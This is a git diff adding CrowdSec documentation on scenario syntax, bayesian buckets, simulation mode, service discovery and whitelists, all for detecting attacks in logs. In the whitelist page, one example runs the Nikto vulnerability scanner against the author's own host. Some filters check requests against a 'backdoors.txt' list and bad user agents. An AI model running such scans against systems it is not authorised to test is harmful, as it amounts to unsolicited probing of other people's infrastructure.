evt.Meta.source_ip +``` + + +An [expression](/expr/intro.md) that must return a string. This string will be used as a partition for the buckets. + + +#### Examples + +Here, each `source_ip` will get its own bucket. +```yaml +type: leaky +... +groupby: evt.Meta.source_ip +... +``` + +Here, each unique combo of `source_ip` + `target_username` will get its own bucket. +```yaml +type: leaky +... +groupby: evt.Meta.source_ip + '--' + evt.Parsed.target_username +... +``` + + +--- +### `distinct` + + +```yaml +distinct: evt.Meta.http_path +``` + + +An [expression](/expr/intro.md) that must return a string. The event will be poured **only** if the string is not already present in the bucket. + +#### Examples + +This will ensure that events that keep triggering the same `.Meta.http_path` will be poured only once. + +```yaml +type: leaky +... +distinct: "evt.Meta.http_path" +... +``` + +Assuming we received the 3 following events : + - `evt.Meta.http_path = /` + - `evt.Meta.http_path = /test` + - `evt.Meta.http_path = /` + +Only the first 2 events will be poured to the bucket. + +The 3rd one will not be poured as the bucket already contains an event with `evt.Meta.http_path == /` + +--- +### `capacity` + +```yaml +capacity: 5 +``` + +Only applies to `leaky` buckets. + +A positive integer representing the bucket capacity. +If there are more than `capacity` item in the bucket, it will overflow. +Should be set to `-1` in most situations for `conditional` buckets. + +--- +### `leakspeed` + +```yaml +leakspeed: "10s" +``` + +Only applies to `leaky` and `conditional` buckets. + +A duration that represent how often an event will be leaking from the bucket. + +Must be compatible with [golang ParseDuration format](https://golang.org/pkg/time/#ParseDuration). + +--- +### `condition` +```yaml +condition: | + len(queue.Queue) >= 2 + and Distance(queue.Queue[-1].Enriched.Latitude, queue.Queue[-1].Enriched.Longitude, + queue.Queue[-2].Enriched.Latitude, queue.Queue[-2].Enriched.Longitude) > 100 +``` + +Only applies to `conditional` buckets. + +Make the bucket overflow when it returns true. +The expression is evaluated each time an event is poured to the bucket. + +--- +### `bayesian_prior` +```yaml +bayesian_prior: 0.03 +``` + +Only applies to `bayesian` buckets. + +This is the initial probability that a given IP falls under the behavior you want to catch. A good first estimate for this parameter is `#evil_ips/#total_ips`, where evil are all the IPs you want to catch with this scenario. + +--- +### `bayesian_threshold` +```yaml +bayesian_threshold: 0.5 +``` + +Only applies to `bayesian` buckets. + +This defines the threshold you want the posterior to exceed to trigger the bucket. This parameter can be finetuned according to individual preference. A higher threshold will decrease the number of false positives at the cost of missing some true positives while decreasing the threshold will catch more true positives at the cost of more false positives. If the term precision vs recall tradeoff is familiar to the reader, this is an application of this principle. + +--- +### `bayesian_conditions` +```yaml +bayesian_conditions: +- condition: any(queue.Queue, {.Meta.http_path == "/"}) + prob_given_evil: 0.8 + prob_given_benign: 0.2 +- condition: evt.Meta.ssh_user == "admin" + prob_given_evil: 0.9 + prob_given_benign: 0.5 + guillotine : true +``` + +Only applies to `bayesian` buckets. + +Bayesian conditions are the heart of the bayesian bucket. Every `condition` represents an event we want to do a bayesian update for. Every time the inference is ran we evaluate the `condition`. The two parameters `prob_given_evil` and `prob_given_benign` are called likelihoods and are used during the update. They represent the two conditional probabilities `P(condition == true | IP is evil)` and `P(condition == true | IP is benign)` respectively. + +A good estimate for the likelihoods is to look at all events in your logs and use the ratios `#evil_ips_satisfying_condition/#evil_ips` resp. `#benign_ips_satisfying_condition/#benign_ips`. If the results of the scenario are imprecise one should either add more conditions or play around with the threshold. It is not recommended to individually adjust the likelihoods as this leads to overfitting. + +If the evalutaion of the `condition` is particularly expensive, one can add a `guillotine`. This will prevent the condition from being evaluated after the first time it evaluates to `true`. The bayesian updates will from then on out only consider the case `condition == true`. + +Note: `prob_given_evil` and `prob_given_benign` do not have to sum up to 1 as they describe different events. + +--- + +### `labels` + +```yaml +labels: + service: ssh + confidence: 3 + spoofable: 0 + classification: + - attack.T1110 + label: "SSH Bruteforce" + behavior : "ssh:bruteforce" + remediation: true +``` + +Labels is a list of `label: values` that provide context to an alert. +The `value` can be of any type (string, list, object ...). +Some labels are required, but other labels can be added. + +note: the labels are (currently) not stored in the database, nor they are sent to the API. + +#### `remediation` +>type: bool + +The **remediation** label, if set to `true` indicate if the originating IP should be banned. + + +#### `classification` +>type: list + +This is a list of classifications that we can attribute to a scenario in the form: + +```yaml +. +``` + +Only `cve` and `attack` (for Mitre ATT&CK) are supported. + +- For a mitre_attack, this is the format: +```yaml +attack. # example: attack.T1595 +``` + +Where technique_id is a Mitre ATT&CK technique. You can find the list [here](https://attack.mitre.org/techniques/enterprise/). + +- For a CVE this is the format: + +```yaml +cve. # example: cve.CVE-2021-44228 +``` + +#### `behavior` +>type: string + +behavior is a string in the form: +```yaml +: +``` +note: when the service is available, prefer to use the service instead of the OS. + +The behavior should exist in this file: https://github.com/crowdsecurity/hub/blob/master/taxonomy/behaviors.json + + +#### `label` +>type: string (optional) + +label is a human-readable name for the scenario. + +For example, for the `crowdsecurity/apache_log4j2_cve-2021-44228` scenario it is Log4j CVE-2021-44228 . + +#### `spoofable` +>type: int [0-3] + +The chance between 0 and 3 that the attacker behind the attack can spoof its origin. +0 means not spoofable and 3 means spoofable. + +#### `confidence` +>type: int [0-3] + +The confidence score ranges from 0 to 3, indicating the likelihood that the scenario will not produce a false positive. + +A lower score suggests that the action might not be malicious, while a higher score indicates higher confidence that the scenario identified malicious behavior. + +- `0`: The scenario is likely to produce false positives, so it is not reliable for identifying malicious behavior. +- `1`: The scenario may produce false positives and is not highly reliable for identifying malicious behavior. +- `2`: The scenario is reliable and unlikely to produce false positives. It can be used to identify malicious behavior. +- `3`: The scenario is highly reliable and will not produce false positives. It is trustworthy for identifying malicious behavior. + +#### `cti` +>type: bool [true|false] + +Specify that the scenario is used mostly for auditing and not to detect threat. +`false` means that the scenario is not to detect threat. + +--- +### `blackhole` + +```yaml +blackhole: 10m +``` + +A duration for which a bucket will be "silenced" after overflowing. +This is intended to limit / avoid spam of buckets that might be very rapidly triggered. + +The blackhole only applies to the individual bucket rather than the whole scenario. + +Must be compatible with [golang ParseDuration format](https://golang.org/pkg/time/#ParseDuration). + +#### Example + +The same `source_ip` won't be able to trigger this overflow more than once every 10 minutes. +The potential overflows in the meanwhile will be discarded (but will still appear in logs as being blackholed). + +```yaml +type: trigger +... +blackhole: 10m +groupby: evt.Meta.source_ip +``` + +--- +### `debug` + +```yaml +debug: true|false +``` + +_default: false_ + + +If set to to `true`, enabled scenario level debugging. +It is meant to help understanding scenario behavior by providing contextual logging : + +
+debug of filters and expression results +
+ +```log +DEBU[31-07-2020 16:34:58] eval(evt.Meta.log_type in ["http_access-log", "http_error-log"] && any(File("bad_user_agents.txt"), {evt.Parsed.http_user_agent contains #})) = TRUE cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent +DEBU[31-07-2020 16:34:58] eval variables: cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent +DEBU[31-07-2020 16:34:58] evt.Meta.log_type = 'http_access-log' cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent +DEBU[31-07-2020 16:34:58] evt.Parsed.http_user_agent = 'Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:002810)' cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent +``` + +
+
+ +--- +### `reprocess` + +```yaml +reprocess: true|false +``` + +_default: false_ + +If set to `true`, the resulting overflow will be sent again in the scenario/parsing pipeline. +It is useful when you want to have further scenarios that will rely on past-overflows to take decisions. + +--- +### `cache_size` + +```yaml +cache_size: 5 +``` + +By default, a bucket holds [capacity](format#capacity) events "in memory". +However, for a number of cases, you don't want this, as it might lead to excessive memory consumption. + +By setting `cache_size` to a positive integer, we can control the maximum in-memory cache size of the bucket, without changing its capacity and such. It is useful when buckets are likely to stay alive for a long time or ingest a lot of events to avoid storing a lot of events in memory. + +:::info +Cache size will affect the number of events you receive within an alert. If you set a cache size to 5, you will only receive the last 6 events (Cache size including the overflow) in the alert. Any pipelines that rely on the alert object will be affected (Notification, Profiles, Postoverflow). +::: + +--- +### `overflow_filter` + +```yaml +overflow_filter: any(queue.Queue, { .Enriched.IsInEU == "true" }) +``` + +`overflow_filter` is an [expression](/expr/intro.md) that is run when the bucket overflows. +If this expression is present and returns false, the overflow will be discarded. + +--- +### `cancel_on` + +```yaml +cancel_on: evt.Parsed.something == 'somevalue' +``` + +`cancel_on` is an [expression](/expr/intro.md) that runs on each event poured to the bucket. +If the `cancel_on` expression returns true, the bucket is immediately destroyed (and doesn't overflow). + + +--- +### `data` + +```yaml +data: + - source_url: https://URL/TO/FILE + dest_file: LOCAL_FILENAME + [type: (regexp|string)] +``` + +:::info +`dest_file` is relative to the data directory set within `config.yaml` default per OS: +- Linux: `/var/lib/crowdsec/data` +- Freebsd: `/var/db/crowdsec/data` +- Windows: `C:\programdata\crowdsec\data` +::: + +`data` allows to specify an external source of data. + +The `source_url` section is only relevant when `cscli` is used to install scenario from hub, as it will download the `source_url` and store it in the `dest_file` within the data directory. + +When the scenario is not installed from the hub, CrowdSec will not download the `source_url`, however, if the file exists at `dest_file` within the data directory it will still be loaded into memory. + +The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line or `string` for string per line. + +The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. +Without specifying a `type`, the file will be downloaded and stored as file and not in memory. + +You can refer to the content of the downloaded file(s) by using either the `File()` or `RegexpInFile()` function in an expression: + +```yaml +filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("backdoors.txt"), { evt.Parsed.request contains #})' +``` + +#### Example + +```yaml +name: crowdsecurity/cdn-whitelist +... +data: + - source_url: https://www.cloudflare.com/ips-v4 + dest_file: cloudflare_ips.txt + type: string +``` + +#### Caching feature + +Since 1.5, it is possible to configure additional cache for `RegexpInFile()` : + + - input data (hashed with [xxhash](https://github.com/cespare/xxhash)) + - associated result (true or false) + +[Cache behavior](https://pkg.go.dev/github.com/bluele/gcache) can be configured: + - strategy: LRU, LFU or ARC + - size: maximum size of cache + - ttl: expiration of elements + - cache: boolean (true by default if one of the fields is set) + +This is typically useful for scenarios that needs to check on a lot of regexps. + +Example configuration: + +```yaml +type: leaky +#... +data: + - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/bad_user_agents.regex.txt + dest_file: bad_user_agents.regex.txt + type: regexp + strategy: LRU + size: 40 + ttl: 5s +``` + +--- +### `format` + +```yaml +format: 2.0 +``` + +CrowdSec has a notion of format support for parsers and scenarios for compatibility management. +Running `cscli version` will show you such compatibility matrix : + +```bash +sudo cscli version +2020/11/05 09:35:05 version: v0.3.6-183e34c966c475e0d2cdb3c60d0b7426499aa573 +2020/11/05 09:35:05 Codename: beta +2020/11/05 09:35:05 BuildDate: 2020-11-04_17:56:46 +2020/11/05 09:35:05 GoVersion: 1.13 +2020/11/05 09:35:05 Constraint_parser: >= 1.0, < 2.0 +2020/11/05 09:35:05 Constraint_scenario: >= 1.0, < 3.0 +2020/11/05 09:35:05 Constraint_api: v1 +2020/11/05 09:35:05 Constraint_acquis: >= 1.0, < 2.0 +``` + +--- +### `scope` + +```yaml +scope: + type: Range + expression: evt.Parsed.mySourceRange +``` + +While most scenarios might focus on IP addresses, CrowdSec and Bouncers can work with any scope. +The `scope` directive allows you to override the default scope : + + - `type` is a string representing the scope name + - `expression` is an `expr` expression that will be evaluated to fetch the value + + +let's imagine a scenario such as : + +```yaml +# ssh bruteforce +type: leaky +name: crowdsecurity/ssh-enforce-mfa +description: "Enforce mfa on users that have been bruteforced" +filter: "evt.Meta.log_type == 'ssh_failed-auth'" +leakspeed: "10s" +capacity: 5 +groupby: evt.Meta.source_ip +blackhole: 1m +labels: + service: ssh + type: bruteforce + remediation: true +scope: + type: username + expression: evt.Meta.target_user +``` + +and a profile such as : + +```yaml +name: enforce_mfa +filters: + - 'Alert.Remediation == true && Alert.GetScope() == "username"' +decisions: + - type: enforce_mfa + scope: "username" + duration: 1h +on_success: continue +``` + +the resulting overflow will be : + +```bash +$ ./cscli -c dev.yaml decisions list ++----+----------+---------------+-------------------------------+-------------+---------+----+--------+------------------+ +| ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ++----+----------+---------------+-------------------------------+-------------+---------+----+--------+------------------+ +| 2 | crowdsec | username:rura | crowdsecurity/ssh-enforce-mfa | enforce_mfa | | | 6 | 59m46.121840343s | +``` + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/introduction.mdx b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/introduction.mdx new file mode 100644 index 000000000..56cf888f6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/introduction.mdx @@ -0,0 +1,30 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +import useBaseUrl from '@docusaurus/useBaseUrl'; + + +Scenarios are YAML files that allow to detect a specific behavior, usually an attack. + +Scenarios receive [events](/concepts.md#events) and can produce [alerts](/concepts.md#alerts) using the [leaky bucket](https://en.wikipedia.org/wiki/Leaky_bucket) algorithm. + +
+
+ +
+
+ +The event goes via various steps : + - the `filter` decides event elligibility : if the expression is true, the event "enters" the bucket + - the optional `groupby` expression allows to segment bucket, typically by `source_ip` : this ensure each source ip has its own bucket and is accounted for properly + - the optional `distinct` expression can avoid item with duplicated properties being poured. An example usage can be found in [http-sensitive-files](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-sensitive-files), where it is used to ensure we're only counting distinct "bad" URIs being requested. + - then the event is finally poured to the [leaky bucket](https://en.wikipedia.org/wiki/Leaky_bucket) : `capacity` and `leakspeed` are the two parameters conditioning when/if an overflow happens. + - if the bucket overflows, it can be validated by an optional `overflow_filter` + + +Once an overflow happens, it will go through [postoverflows](/log_processor/parsers/introduction.mdx#postoverflows) to handle last chance whitelists, before being finally turned into a potential [decision](/concepts.md#decisions) by [profiles](/local_api/profiles/intro.md). + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/simulation.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/simulation.md new file mode 100644 index 000000000..148fb2d04 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/scenarios/simulation.md @@ -0,0 +1,39 @@ +--- +id: simulation +title: Simulation +sidebar_position: 4 +--- + +```bash +sudo cscli simulation status +INFO[0000] global simulation: disabled +INFO[0000] Scenarios in simulation mode : +INFO[0000] - crowdsecurity/ssh-bf +``` + +`cscli simulation` allows to manage a list of scenarios that have their remediation "simulated" : they won't be effective (but will still be showed by `cscli decisions list`). This configuration file is present in `/etc/crowdsec/simulation.yaml` and is handled by the agent. + +You can add and remove scenarios to the simulation list : + +```bash +sudo cscli simulation enable crowdsecurity/ssh-bf +INFO[0000] simulation mode for 'crowdsecurity/ssh-bf' enabled +INFO[0000] Run 'sudo systemctl reload crowdsec' for the new configuration to be effective. +$ sudo systemctl reload crowdsec +$ sudo tail -f /var/log/crowdsec.log + .... +time="01-11-2020 14:08:58" level=info msg="Ip 1.2.3.6 performed 'crowdsecurity/ssh-bf' (6 events over 986.769µs) at 2020-11-01 14:08:58.575885389 +0100 CET m=+437.524832750" +time="01-11-2020 14:08:58" level=info msg="Ip 1.2.3.6 decision : 1h (simulation) ban" + .... + +$ cscli decisions list ++----+----------+--------------+-----------------------------------+------------+---------+----+--------+------------------+ +| ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ++----+----------+--------------+-----------------------------------+------------+---------+----+--------+------------------+ +| 4 | crowdsec | Ip:1.2.3.6 | crowdsecurity/ssh-bf | (simul)ban | US | | 6 | 59m38.293036072s | ++----+----------+--------------+-----------------------------------+------------+---------+----+--------+------------------+ + +``` + +You can also turn on "global simulation" : in this case, only scenarios in the exclusion list will have their decisions applied. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/detect-yaml.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/detect-yaml.md new file mode 100644 index 000000000..69d1e59c8 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/detect-yaml.md @@ -0,0 +1,139 @@ +--- +id: detect-yaml +title: Syntax +sidebar_position: 1 +--- + +# Syntax + +A minimal detection file is a YAML map with a top‐level `detect:` key. + +Under it, each entry describes one service plan: + +```yaml +# detect.yaml +--- +detect: + apache2-file-apache2: + when: + - Systemd.UnitInstalled("apache2.service") or len(Path.Glob("/var/log/apache2/*.log")) > 0 + hub_spec: + collections: + - crowdsecurity/apache2 + acquisition_spec: + filename: apache2.yaml + datasource: + source: file + filenames: + - /var/log/apache2/*.log + labels: + type: apache2 +``` + +## Fields + +### `when` + +A list of expression that must return a boolean. + +If multiple expressions are provided, they must all return `true` for the service to be included. + +```yaml +when: + - Host.OS == "linux" + - Systemd.UnitInstalled("") +``` + +You can use any of the helper referenced [here](/log_processor/service-discovery-setup/expr.md). + +### `hub_spec` + +A map of hub items to install. + +Specifying an invalid item type or item will log an error but will not prevent the detection to continue. + +```yaml +hub_spec: + collections: + - crowdsecurity/linux + parsers: + - crowdsecurity/nginx-logs + scenarios: + - crowdsecurity/http-bf +``` + +### `acquisition_spec` + +This item defines the acquisition that will be written to disk + +```yaml +acquisition_spec: + filename: foobar.yaml + datasource: + source: docker + container_name: foo + labels: + type: bar +``` + +The `filename` attribute will be used to generate the name of file in the form of `acquis.d/setup..yaml`. + +The content of `datasource` will be validated (syntax, required fields depending on the datasource configured) and be written as-is to the file. + +## Examples + +Basic OS / Hub only: + +```yaml +detect: + linux: + when: + - Host.OS == "linux" + hub_spec: + collections: + - crowdsecurity/linux +``` + +`journalctl` source with a filter: + +```yaml +detect: + caddy-journal: + when: + - Systemd.UnitInstalled("caddy.service") + - len(Path.Glob("/var/log/caddy/*.log")) == 0 + hub_spec: + collections: + - crowdsecurity/caddy + acquisition_spec: + filename: caddy.yaml + datasource: + source: journalctl + labels: + type: caddy + journalctl_filter: + - "_SYSTEMD_UNIT=caddy.service" +``` + +Windows event log: + +```yaml +detect: + windows_auth: + when: + - Host.OS == "windows" + hub_spec: + collections: + - crowdsecurity/windows + acquisition_spec: + filename: windows_auth.yaml + datasource: + source: wineventlog + event_channel: Security + event_ids: + - 4625 + - 4623 + event_level: information + labels: + type: eventlog +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/expr.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/expr.md new file mode 100644 index 000000000..80bbd4d90 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/expr.md @@ -0,0 +1,157 @@ +--- +id: setup-expr-helpers +title: Expr Helpers +sidebar_position: 1 +--- + +# Expression Helpers Reference + +Various helpers are available for use in the `detect.yaml` file to determine how crowdsec should be configured. + +## Host + + This object gives access to various information about the current state of the operating system + +### `Host.Hostname` + +    Returns the hostname of the machine + +> `Host.Hostname == "mymachine"` + +### `Host.Uptime` + +    Returns the uptime of the machine in seconds. + +### `Host.Boottime` + +    Returns the unix timestamp of the time the machine booted. + +### `Host.Procs` + +    Returns the number of processes on the machine. + +### `Host.OS` + +    Returns the name of the OS (`linux`, `freebsd`, `windows`, ...) + +> `Host.OS == "linux"` + +### `Host.Platform` + +    Returns the variant of the OS (`ubuntu`, `linuxmint`, ....) + +> `Host.Platform == "ubuntu"` + +### `Host.PlatformFamily` + +    Returns the family of the OS (`debian`, `rhel`, ...) + +> `Host.PlatformFamily == "debian"` + +### `Host.PlatformVersion` + +    Returns the version of the OS or distribution (for linux, /etc/os-release) + +> `Host.PlatformVersion == "25.04" + +### `Host.KernelVersion` + +    Returns the current kernel version as returned by `uname -r` + +> `Host.KernelVersion == "6.16.2" + +### `Host.KernelArch` + +    Returns the native architecture of the system (`x86_64`, ...) + +> `Host.KernelArch == "x86_64"` + +### `Host.VirtualizationSystem` + +    Returns the name of the virtualization system in use if any. + +> `Host.VirtualizationSystem == "kvm"` + +### `Host.VirtualizationRole` + +    Returns the virtualization role of the system if any (`guest`, `host`) + +> `Host.VirtualizationRole == "host"` + +### `Host.HostID` + +    Returns a unique ID specific to the system. + +## Path + +This object exposes helpers functions for the filesystem + +### `Exists(path) bool` + +    Returns `true` if the specified path exists. + +> `Path.Exists("/var/log/nginx/access.log") == true` + +### `Glob(pattern) []string` + +    Returns a list of files matching the provided pattern. + +    Returns an empty list if the glob pattern is invalid + +> `len(Path.Glob("/var/log/nginx/*.log")) > 0` + +## System + +### `ProcessRunning(name) bool` + +    Returns `true` if there's any process with the specified name running + +> `System.ProcessRunning("nginx") == true` + +## Systemd + +    This object exposes helpers to get informations about Systemd units. + +    Only available on Linux. + +### `UnitInstalled(unitName) bool` + +    Returns `true` if the provided unit is installed. + +> `Systemd.UnitInstalled("nginx") == true` + +### `UnitConfig(unitName, key) string` + +    Returns the value of the specified key from the specified unit. + +    Returns an empty value if the unit if not installed and an error if the key does not exist. + +> `Systemd.UnitConfig("nginx", "StandardOutput") == "journal"` + +### `UnitLogsToJournal(unitName) bool` + +    Returns `true` if unit stdout/stderr are redirect to journal or journal+console. + +> `Systemd.UnitLogsToJournal("nginx") == true` + +## Windows + +    This object exposes helpers to get informations about Windows services. + +    Only available on Windows. + +### `ServiceEnabled(serviceName) bool` + +    Returns `true` if the specified service exists and is configured to start automatically on boot. + +> `Windows.ServiceEnabled("MSSSQLSERVER") == true` + +## Version + +### `Check(version, constraint) bool` + +    Performs a semantic version check. + +    Constraint supports operators like `=`, `!=`, `<`, `<=`, `>`, `>=`, ranges (1.1.1 - 1.3.4), AND with commas (`>1`, `<3`), and ~ compatible ranges. + +> `Version.Check(Host.KernelVersion, ">=6.24.0")` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/intro.md new file mode 100644 index 000000000..9ccb22804 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/service-discovery-setup/intro.md @@ -0,0 +1,176 @@ +--- +id: intro +title: Service Discovery +sidebar_position: 1 +--- + +# Service Discovery + +The goals of service discovery are to automatically: + - Detect services on your machine supported by crowdsec + - Install related hub items + - Generate acquisition configuration + +## Basic Usage + +The main way to use the service discovery is with `cscli setup interactive` or `cscli setup unattended`. + +By default, it will use the detection file provided by crowdsec stored in `/var/lib/crowdsec/data/detect.yaml`. + +In interactive mode, `cscli` will ask you to choose which service to configure based on those that were detected, and will require confirmation before any operation (installing hub items, generating acquisition config, ...). + +It is your responsibility to check the compatibility of the generated acquisitions with the ones you add later or were already on the system. + +:::warning + +While `cscli setup` validates the generated configuration files for syntax errors or invalid configuration, it does *not* check for duplicate acquisition. + +If using a custom `detect.yaml`, make sure no logs are read multiple times (with the same `type` label), as this could lead to false positives. + +::: + + +`cscli` will ask for confirmation before proceeding if: + +- there is an `acquis.yaml` +- there is any non-generated file in `acquis.d` +- you modified the generated files in `acquis.d` (there is a checksum to detect modifications). Proceeding could overwrite them. + +Files composed by comments only are ignored. + +Linux packages (deb or rpm) will automatically call `cscli setup unattended` during installation. In the case above, instead of asking for confirmation, unattended mode will just skip the service detection. + + +### Generated acquisition files & coexistence with your own files + +When you generated the acquisition configuration with `cscli setup`, `cscli` writes one file per service as `setup..yaml` in the acquisition directory (typically `/etc/crowdsec/acquis.d`). The content is prefixed with a header that includes a checksum and a comment stating it was generated by `cscli setup`. + +- Files carrying a valid checksum are considered generated and may be overwritten by future runs. +- Files without a valid checksum are treated as manually edited; in interactive mode, `cscli` shows a colorized diff and asks before overwriting. In unattended flows, the command refuses to proceed if manual files are detected. +- Either way, the safest practice is: **don’t edit generated files**. If you need changes, delete the generated `setup..yaml` and create your own hand‑managed file instead or use a custom `detect.yaml` to generate the proper configuration automatically. + +> Tips + +> - The actual on‑disk path is computed as `acquis.d/setup..yaml` where `` comes from `acquisition_spec.filename`. +> - Use `--acquis-dir` to target a different directory. +> - `--dry-run` prints what would be created without writing files. + + +## Advanced Usage + +### Use a custom `detect.yaml` + +You can provide a custom `detect.yaml` in two ways: + +```bash +# Path flag +cscli setup detect --detect-config /path/to/detect.yaml + +# Or via environment variable +CROWDSEC_SETUP_DETECT_CONFIG=/path/to/detect.yaml cscli setup detect +``` + +Helpful flags: + +- `--yaml` – render the setup plan as YAML (easy to review/edit); default output is JSON. +- `--force ` – pretend detection matched for `` (repeatable). +- `--ignore ` – drop `` from the plan even if matched (repeatable). +- `--skip-systemd` – disable systemd‐based detection (default if systemctl can't be run). +- `--list-supported-services` – print the service keys present in your file and exit. + +You can see a list of all the available expr helpers in the [dedicated documentation](/log_processor/service-discovery-setup/expr.md). + +For example, if you have configured nginx to log in a non-standard location, you can use a custom `detect.yaml` to override it. + +This example will generate an acquisition with the pattern `/srv/logs/nginx/*.log` if the nginx service is installed OR if any file matches the glob pattern `/srv/logs/nginx/*.log`: + +```yaml +# detect.yaml +--- +detect: + nginx-custom: + when: + - Systemd.UnitInstalled("nginx.service") or len(Path.Glob("/srv/logs/nginx/*.log")) > 0 + hub_spec: + collections: + - crowdsecurity/nginx + acquisition_spec: + filename: nginx.yaml + datasource: + source: file + filenames: + - /srv/logs/nginx/*.log + labels: + type: nginx +``` + +:::warning + +When using a custom detect configuration, the default one will be fully ignored. + +This means that on top of your custom detection, you will most likely want to add the basic OS detection, for example: + +```yaml +detect: + linux: + when: + - Host.OS == "linux" + hub_spec: + collections: + - crowdsecurity/linux + acquisition_spec: + filename: linux.yaml + datasource: + source: file + labels: + type: syslog + filenames: + - /var/log/messages + - /var/log/syslog + - /var/log/kern.log +``` + +::: + +### Unattended installs with a custom detect file + +Linux packages (deb or rpm) will automatically call `cscli setup unattended` during installation. + +You can specify a custom detection file to use by setting `CROWDSEC_SETUP_DETECT_CONFIG` before installing the package with `apt` or `dnf`. + +Alternatively, if you want to skip the automatic detection completely, you can set the env var `CROWDSEC_SETUP_UNATTENDED_DISABLE` to any value. + +### End-to-end workflow + +Behind the scenes, `cscli setup` use multiple steps to configure crowdsec: + +- Generate a YAML plan that contains the detected services, their associated hub items and acquisition configuration +- Validate this file +- Install the hub items +- Write the acquisition config to disk + +If you wish, you can manually invoke any of those steps (if you only want to install the hub items for example). + +`cscli setup detect` can be used to generate the setup file: + +```bash +cscli setup detect --detect-config ./detect.yaml --yaml > setup.yaml +``` + +You can then validate its content for syntax error or issues with the acquisition configuration: + +```bash +cscli setup validate ./setup.yaml +``` + +Then, install the hub items: + +```bash +cscli setup install-hub ./setup.yaml +``` + +And finally, write the acquisition config: + +```bash +cscli setup install-acquisition ./setup.yaml --acquis-dir /etc/crowdsec/acquis.d +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/capi_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/capi_based_whitelist.md new file mode 100644 index 000000000..7394468de --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/capi_based_whitelist.md @@ -0,0 +1,51 @@ +--- +id: create_capi +title: CAPI +--- + +:::warning + +This option is deprecated. +You should use [centralized allowlists](local_api/allowlists.md) instead. + +::: + +## Whitelists from CAPI (Central API) community blocklist or third party blocklist + +From version 1.5.0 a user can specify a list of IP's or IP ranges to be whitelisted from a community blocklist or third party blocklist. You will have to specify a path to the file within `config.yaml` as by default there is no file specified. + +```yaml +api: + server: + capi_whitelists_path: +``` + +We recommend to use the following files for each OS: + +- Linux `/etc/crowdsec/capi-whitelists.yaml` +- Freebsd `/usr/local/etc/crowdsec/capi-whitelists.yaml` +- Windows `c:/programdata/crowdsec/config/capi-whitelists.yaml` + +*These files **DO NOT** exist and you **MUST** create them manually and configure the above settings* + +The following snippet should be used as a guide + +```yaml +ips: + - 1.2.3.4 + - 2.3.4.5 +cidrs: + - 1.2.3.0/24 +``` + +```bash title="Reload CrowdSec" +sudo systemctl reload crowdsec +``` + +:::warning + +The whitelist only applies when crowdsec pulls the blocklist from CAPI. This means that any IPs already in your local database will not get whitelisted. + +You can either manually delete the decisions for the IPs you want to whitelist with `cscli decisions delete`, or delete all alerts and active decisions from the database with `cscli alerts delete --all` and restart crowdsec. + +::: diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/expr_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/expr_based_whitelist.md new file mode 100644 index 000000000..e4f8d2d97 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/expr_based_whitelist.md @@ -0,0 +1,127 @@ +--- +id: create_expr +title: Expression +--- + +Let's whitelist a **specific** user-agent (of course, it's just an example, don't do this in production !). + +Since we are using data that is present from the parsing stage we can do this within `Parsing Whitelist` level. Please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths. + +```yaml +name: "my/whitelist" ## Must be unique +description: "Whitelist events from private ipv4 addresses" +whitelist: + reason: "private ipv4 ranges" + expression: + - evt.Parsed.http_user_agent == 'MySecretUserAgent' +``` + +```bash title="Reload CrowdSec" +sudo systemctl reload crowdsec +``` + +For the record, I edited nikto's configuration to use 'MySecretUserAgent' as user-agent, and thus : + +```bash +nikto -host myfqdn.com +``` + +```bash +tail -f /var/log/crowdsec.log +``` + +CrowdSec will inform you some lines have been discarded because they are whitelisted by the expression. + +### How can I find which data is present from parsing stage? + +You can use [cscli explain](/cscli/cscli_explain.md) to generate output from a given log line or log file. + +For example: + +```bash +sudo cscli explain --log '5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent"' --type nginx -v 